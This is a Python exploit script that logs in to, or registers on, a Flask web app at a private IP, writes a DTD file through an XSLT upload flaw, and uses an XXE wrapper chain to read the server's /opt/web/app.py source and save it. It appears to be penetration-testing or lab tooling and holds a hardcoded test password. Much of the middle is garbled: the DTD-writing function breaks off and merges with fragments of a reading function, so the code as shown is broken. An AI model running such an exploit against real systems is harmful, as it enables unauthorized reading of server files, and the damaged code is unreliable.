#!/usr/bin/env python3
"""Read /opt/web/app.py through the XSLT-write + XXE wrapper chain."""
import html
import os
import re
import sys
from pathlib import Path
import requests
BASE = os.environ.get("XSLIB_BASE", "http://192.168.1.112:5000").rstrip("/")
USERNAME = "pentester"
PASSWORD = "P@ssw0rd123!"
REMOTE_APP = "/opt/web/app.py"
REMOTE_DTD = "/opt/web/uploads/xslib_app_reader.dtd"
DEFAULT_OUTPUT = Path("source/opt_web/app_xxe.py")
def login(session):
response = session.post(
f"{BASE}/login",
data={"username": USERNAME, "password": PASSWORD},
allow_redirects=False,
timeout=10,
)
if response.status_code == 302 and response.headers.get("Location") == "/dashboard":
return
# Registration is open, so create the account if it is not present.
session.post(
f"{BASE}/register",
data={
"username": USERNAME,
"email": f"{USERNAME}@test.com",
"password": PASSWORD,
"confirm_password": PASSWORD,
"terms": "on",
},
allow_redirects=False,
timeout=10,
)
response = session.post(
f"{BASE}/login",
data={"username": USERNAME, "password": PASSWORD},
allow_redirects=False,
timeout=10,
)
if response.status_code != 302 or response.headers.get("Location") != "/dashboard":
raise RuntimeError("login failed")
def xml_escape(value):
return (
value.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace('"', """)
.replace("'", "'")
)
def upload(session, xml_name, xml_data, xsl_name, xsl_data):
response = session.post(
f"{BASE}/upload",
files={
"xml_file": (xml_name, xml_data, "application/xml"),
"xsl_file": (xsl_name, xsl_data, "application/xml"),
},
timeout=15,
)
response.raise_for_status()
return response.text
def write_wrapper_dtd(session):
# app.py contains hundreds of apostrophes and several literal
]*>(.*?)
', result, re.S, ) if error: raise RuntimeError(html.unescape(error.group(1)).strip()) match = re.search(r']*>(.*?)', result, re.S) if not match: raise RuntimeError("result
block not found")
source = match.group(1)
for _ in range(3):
decoded = html.unescape(source)
if decoded == source:
break
source = decoded
source = source.strip()
if "from flask import Flask" not in source or "app.run(" not in source:
raise RuntimeError("response does not look like app.py")
return source + "\n"
def main():
output = Path(sys.argv[1]) if len(sys.argv) > 1 else DEFAULT_OUTPUT
session = requests.Session()
print(f"[*] Login: {USERNAME}")
login(session)
print(f"[*] Writing wrapper DTD: {REMOTE_DTD}")
write_wrapper_dtd(session)
print(f"[*] Reading: {REMOTE_APP}")
source = read_app(session)
output.parent.mkdir(parents=True, exist_ok=True)
output.write_text(source)
print(f"[+] Read {len(source)} bytes")
print(f"[+] Saved to {output}")
print("\n----- app.py -----")
print(source, end="")
if __name__ == "__main__":
main()